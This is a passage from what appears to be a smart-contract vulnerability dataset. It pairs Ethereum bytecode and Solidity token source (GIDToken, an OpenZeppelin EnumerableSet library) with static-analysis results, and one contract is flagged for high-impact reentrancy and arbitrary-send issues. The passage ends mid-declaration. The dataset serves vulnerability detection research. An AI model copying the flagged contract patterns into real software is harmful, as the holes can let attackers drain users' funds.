405180910390fd5b60006116406116d9565b9050611655818461170490919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116c5573d6000803e3d6000fd5b5050565b6116d483838361174e565b505050565b60008060006116e6611919565b915091506116fd818361170490919063ffffffff16565b9250505090565b600061174683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611975565b905092915050565b600080600080600080611760876119d8565b9550955095509550955095506117be86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061189f81611ae6565b6118a98483611ba3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611906919061246c565b60405180910390a3505050505050505050565b600080600060075490506000662386f26fc10000905061194b662386f26fc1000060075461170490919063ffffffff16565b82101561196857600754662386f26fc10000935093505050611971565b81819350935050505b9091565b600080831182906119bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b3919061230a565b60405180910390fd5b50600083856119cb91906125a7565b9050809150509392505050565b60008060008060008060008060006119f38a60016009611bdd565b9250925092506000611a036116d9565b90506000806000611a168e878787611c73565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a8083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611303565b905092915050565b6000808284611a979190612551565b905083811015611adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad39061238c565b60405180910390fd5b8091505092915050565b6000611af06116d9565b90506000611b078284611cfc90919063ffffffff16565b9050611b5b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bb882600754611a3e90919063ffffffff16565b600781905550611bd381600854611a8890919063ffffffff16565b6008819055505050565b600080600080611c096064611bfb888a611cfc90919063ffffffff16565b61170490919063ffffffff16565b90506000611c336064611c25888b611cfc90919063ffffffff16565b61170490919063ffffffff16565b90506000611c5c82611c4e858c611a3e90919063ffffffff16565b611a3e90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c8c8589611cfc90919063ffffffff16565b90506000611ca38689611cfc90919063ffffffff16565b90506000611cba8789611cfc90919063ffffffff16565b90506000611ce382611cd58587611a3e90919063ffffffff16565b611a3e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d0f5760009050611d71565b60008284611d1d91906125d8565b9050828482611d2c91906125a7565b14611d6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d63906123ac565b60405180910390fd5b809150505b92915050565b600081359050611d8681612a76565b92915050565b600081519050611d9b81612a76565b92915050565b600081519050611db081612a8d565b92915050565b600081359050611dc581612aa4565b92915050565b600081519050611dda81612aa4565b92915050565b600060208284031215611df657611df56127bc565b5b6000611e0484828501611d77565b91505092915050565b600060208284031215611e2357611e226127bc565b5b6000611e3184828501611d8c565b91505092915050565b60008060408385031215611e5157611e506127bc565b5b6000611e5f85828601611d77565b9250506020611e7085828601611d77565b9150509250929050565b600080600060608486031215611e9357611e926127bc565b5b6000611ea186828701611d77565b9350506020611eb286828701611d77565b9250506040611ec386828701611db6565b9150509250925092565b60008060408385031215611ee457611ee36127bc565b5b6000611ef285828601611d77565b9250506020611f0385828601611db6565b9150509250929050565b600060208284031215611f2357611f226127bc565b5b6000611f3184828501611da1565b91505092915050565b600060208284031215611f5057611f4f6127bc565b5b6000611f5e84828501611dcb565b91505092915050565b600080600060608486031215611f8057611f7f6127bc565b5b6000611f8e86828701611dcb565b9350506020611f9f86828701611dcb565b9250506040611fb086828701611dcb565b9150509250925092565b6000611fc68383611fd2565b60208301905092915050565b611fdb81612666565b82525050565b611fea81612666565b82525050565b6000611ffb8261250c565b612005818561252f565b9350612010836124fc565b8060005b838110156120415781516120288882611fba565b975061203383612522565b925050600181019050612014565b5085935050505092915050565b61205781612678565b82525050565b612066816126bb565b82525050565b600061207782612517565b6120818185612540565b93506120918185602086016126cd565b61209a816127c1565b840191505092915050565b60006120b2602383612540565b91506120bd826127d2565b604082019050919050565b60006120d5602a83612540565b91506120e082612821565b604082019050919050565b60006120f8602283612540565b915061210382612870565b604082019050919050565b600061211b601b83612540565b9150612126826128bf565b602082019050919050565b600061213e602183612540565b9150612149826128e8565b604082019050919050565b6000612161602083612540565b915061216c82612937565b602082019050919050565b6000612184602983612540565b915061218f82612960565b604082019050919050565b60006121a7602583612540565b91506121b2826129af565b604082019050919050565b60006121ca602483612540565b91506121d5826129fe565b604082019050919050565b60006121ed601783612540565b91506121f882612a4d565b602082019050919050565b61220c816126a4565b82525050565b61221b816126ae565b82525050565b60006020820190506122366000830184611fe1565b92915050565b60006040820190506122516000830185611fe1565b61225e6020830184611fe1565b9392505050565b600060408201905061227a6000830185611fe1565b6122876020830184612203565b9392505050565b600060c0820190506122a36000830189611fe1565b6122b06020830188612203565b6122bd604083018761205d565b6122ca606083018661205d565b6122d76080830185611fe1565b6122e460a0830184612203565b979650505050505050565b6000602082019050612304600083018461204e565b92915050565b60006020820190508181036000830152612324818461206c565b905092915050565b60006020820190508181036000830152612345816120a5565b9050919050565b60006020820190508181036000830152612365816120c8565b9050919050565b60006020820190508181036000830152612385816120eb565b9050919050565b600060208201905081810360008301526123a58161210e565b9050919050565b600060208201905081810360008301526123c581612131565b9050919050565b600060208201905081810360008301526123e581612154565b9050919050565b6000602082019050818103600083015261240581612177565b9050919050565b600060208201905081810360008301526124258161219a565b9050919050565b60006020820190508181036000830152612445816121bd565b9050919050565b60006020820190508181036000830152612465816121e0565b9050919050565b60006020820190506124816000830184612203565b92915050565b600060a08201905061249c6000830188612203565b6124a9602083018761205d565b81810360408301526124bb8186611ff0565b90506124ca6060830185611fe1565b6124d76080830184612203565b9695505050505050565b60006020820190506124f66000830184612212565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061255c826126a4565b9150612567836126a4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561259c5761259b612700565b5b828201905092915050565b60006125b2826126a4565b91506125bd836126a4565b9250826125cd576125cc61272f565b5b828204905092915050565b60006125e3826126a4565b91506125ee836126a4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262757612626612700565b5b828202905092915050565b600061263d826126a4565b9150612648836126a4565b92508282101561265b5761265a612700565b5b828203905092915050565b600061267182612684565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126c6826126a4565b9050919050565b60005b838110156126eb5780820151818401526020810190506126d0565b838111156126fa576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612a7f81612666565b8114612a8a57600080fd5b50565b612a9681612678565b8114612aa157600080fd5b50565b612aad816126a4565b8114612ab857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a5d7bd60d8bb61f6ae0436e5b29b6eb4fdd6fe991d2d567c166f2d07436ee8c064736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,231 |
0x8556754f1f67bd44dedbd63f2548a5195c7cd068
|
pragma solidity ^0.4.21;
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
contract TokenERC20 {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals
// Receives ETH and generates tokens
// ----------------------------------------------------------------------------
contract GIDToken is TokenERC20, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) public balances;
mapping(address => mapping(address => uint)) public allowed;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "GIDT";
name = "GID";
decimals = 8;
_totalSupply = 1000000000 * 10**uint(decimals);
owner = 0xDAd085eB10FefC2c2ddac7dc9d22c7DBf1A78480;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return safeSub(_totalSupply , balances[address(0)]);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) onlyPayloadSize(safeMul(2,32)) public returns (bool success) {
_transfer(msg.sender, to, tokens); // makes the transfers
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) onlyPayloadSize(safeMul(3,32)) public returns (bool success) {
require (to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balances[from] >= tokens); // Check if the sender has enough
require (safeAdd(balances[to] , tokens) >= balances[to]); // Check for overflows
require(!frozenAccount[from]); // Check if sender is frozen
require(!frozenAccount[to]); // Check if recipient is frozen
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
/// @notice `freeze? Prevent | Allow` `from` from sending & receiving tokens
/// @param from Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address from, bool freeze) onlyOwner public {
frozenAccount[from] = freeze;
emit FrozenFunds(from, freeze);
}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balances[_from] >= _value); // Check if the sender has enough
require (safeAdd(balances[_to] , _value) >= balances[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balances[_from] = safeSub(balances[_from], _value);
balances[_to] = safeAdd(balances[_to], _value);
emit Transfer(_from, _to, _value);
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value); // Check if the sender has enough
balances[msg.sender] = safeSub(balances[msg.sender], _value); // Subtract from the sender
_totalSupply = safeSub(_totalSupply, _value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balances[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowed[_from][msg.sender]); // Check allowance
balances[_from] = safeSub(balances[_from], _value); // Subtract from the targeted balance
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value); // Subtract from the sender's allowance
_totalSupply = safeSub(_totalSupply, _value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
|
0x6080604052600436106101485763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461014d578063095ea7b3146101d757806318160ddd1461020f57806323b872dd1461023657806327e235e314610260578063313ce567146102815780633eaaf86b146102ac57806342966c68146102c15780635c658165146102d957806370a082311461030057806379ba50971461032157806379cc6790146103385780638da5cb5b1461035c57806395d89b411461038d578063a293d1e8146103a2578063a9059cbb146103bd578063b414d4b6146103e1578063b5931f7c14610402578063cae9ca511461041d578063d05c78da14610486578063d4ee1d90146104a1578063dd62ed3e146104b6578063e6cb9013146104dd578063e724529c146104f8578063f2fde38b1461051e575b600080fd5b34801561015957600080fd5b5061016261053f565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561019c578181015183820152602001610184565b50505050905090810190601f1680156101c95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e357600080fd5b506101fb600160a060020a03600435166024356105cd565b604080519115158252519081900360200190f35b34801561021b57600080fd5b50610224610634565b60408051918252519081900360200190f35b34801561024257600080fd5b506101fb600160a060020a0360043581169060243516604435610673565b34801561026c57600080fd5b50610224600160a060020a036004351661083c565b34801561028d57600080fd5b5061029661084e565b6040805160ff9092168252519081900360200190f35b3480156102b857600080fd5b50610224610857565b3480156102cd57600080fd5b506101fb60043561085d565b3480156102e557600080fd5b50610224600160a060020a03600435811690602435166108f1565b34801561030c57600080fd5b50610224600160a060020a036004351661090e565b34801561032d57600080fd5b50610336610929565b005b34801561034457600080fd5b506101fb600160a060020a03600435166024356109b1565b34801561036857600080fd5b50610371610adc565b60408051600160a060020a039092168252519081900360200190f35b34801561039957600080fd5b50610162610aeb565b3480156103ae57600080fd5b50610224600435602435610b43565b3480156103c957600080fd5b506101fb600160a060020a0360043516602435610b58565b3480156103ed57600080fd5b506101fb600160a060020a0360043516610b88565b34801561040e57600080fd5b50610224600435602435610b9d565b34801561042957600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101fb948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610bbe9650505050505050565b34801561049257600080fd5b50610224600435602435610d1f565b3480156104ad57600080fd5b50610371610d44565b3480156104c257600080fd5b50610224600160a060020a0360043581169060243516610d53565b3480156104e957600080fd5b50610224600435602435610d7e565b34801561050457600080fd5b50610336600160a060020a03600435166024351515610d8e565b34801561052a57600080fd5b50610336600160a060020a0360043516610e09565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b336000818152600760209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b600554600080805260066020527f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f854909161066e91610b43565b905090565b600061068160036020610d1f565b6004810136101561068e57fe5b600160a060020a03841615156106a357600080fd5b600160a060020a0385166000908152600660205260409020548311156106c857600080fd5b600160a060020a0384166000908152600660205260409020546106eb8185610d7e565b10156106f657600080fd5b600160a060020a03851660009081526008602052604090205460ff161561071c57600080fd5b600160a060020a03841660009081526008602052604090205460ff161561074257600080fd5b600160a060020a0385166000908152600660205260409020546107659084610b43565b600160a060020a038616600090815260066020908152604080832093909355600781528282203383529052205461079c9084610b43565b600160a060020a0380871660009081526007602090815260408083203384528252808320949094559187168152600690915220546107da9084610d7e565b600160a060020a0380861660008181526006602090815260409182902094909455805187815290519193928916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3506001949350505050565b60066020526000908152604090205481565b60045460ff1681565b60055481565b3360009081526006602052604081205482111561087957600080fd5b336000908152600660205260409020546108939083610b43565b336000908152600660205260409020556005546108b09083610b43565b60055560408051838152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2506001919050565b600760209081526000928352604080842090915290825290205481565b600160a060020a031660009081526006602052604090205490565b600154600160a060020a0316331461094057600080fd5b60015460008054604051600160a060020a0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b600160a060020a0382166000908152600660205260408120548211156109d657600080fd5b600160a060020a0383166000908152600760209081526040808320338452909152902054821115610a0657600080fd5b600160a060020a038316600090815260066020526040902054610a299083610b43565b600160a060020a0384166000908152600660209081526040808320939093556007815282822033835290522054610a609083610b43565b600160a060020a0384166000908152600760209081526040808320338452909152902055600554610a919083610b43565b600555604080518381529051600160a060020a038516917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a250600192915050565b600054600160a060020a031681565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156105c55780601f1061059a576101008083540402835291602001916105c5565b600082821115610b5257600080fd5b50900390565b6000610b6660026020610d1f565b60048101361015610b7357fe5b610b7e338585610e4f565b5060019392505050565b60086020526000908152604090205460ff1681565b6000808211610bab57600080fd5b8183811515610bb657fe5b049392505050565b336000818152600760209081526040808320600160a060020a038816808552908352818420879055815187815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a36040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018690523060448401819052608060648501908152865160848601528651600160a060020a038a1695638f4ffcb195948a94938a939192909160a490910190602085019080838360005b83811015610cae578181015183820152602001610c96565b50505050905090810190601f168015610cdb5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610cfd57600080fd5b505af1158015610d11573d6000803e3d6000fd5b506001979650505050505050565b818102821580610d395750818382811515610d3657fe5b04145b151561062e57600080fd5b600154600160a060020a031681565b600160a060020a03918216600090815260076020908152604080832093909416825291909152205490565b8181018281101561062e57600080fd5b600054600160a060020a03163314610da557600080fd5b600160a060020a038216600081815260086020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b600054600160a060020a03163314610e2057600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a0382161515610e6457600080fd5b600160a060020a038316600090815260066020526040902054811115610e8957600080fd5b600160a060020a038216600090815260066020526040902054610eac8183610d7e565b1015610eb757600080fd5b600160a060020a03831660009081526008602052604090205460ff1615610edd57600080fd5b600160a060020a03821660009081526008602052604090205460ff1615610f0357600080fd5b600160a060020a038316600090815260066020526040902054610f269082610b43565b600160a060020a038085166000908152600660205260408082209390935590841681522054610f559082610d7e565b600160a060020a0380841660008181526006602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35050505600a165627a7a7230582043bae03120f9feccbe5ac522372ba93f154a01755e8fcb676224d4435be9988d0029
|
{"success": true, "error": null, "results": {}}
| 9,232 |
0xc9ec0Ef264C037795953709e6C2f7ca301A155D1
|
pragma solidity >=0.6.0;
pragma experimental ABIEncoderV2;
//
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
contract Msign {
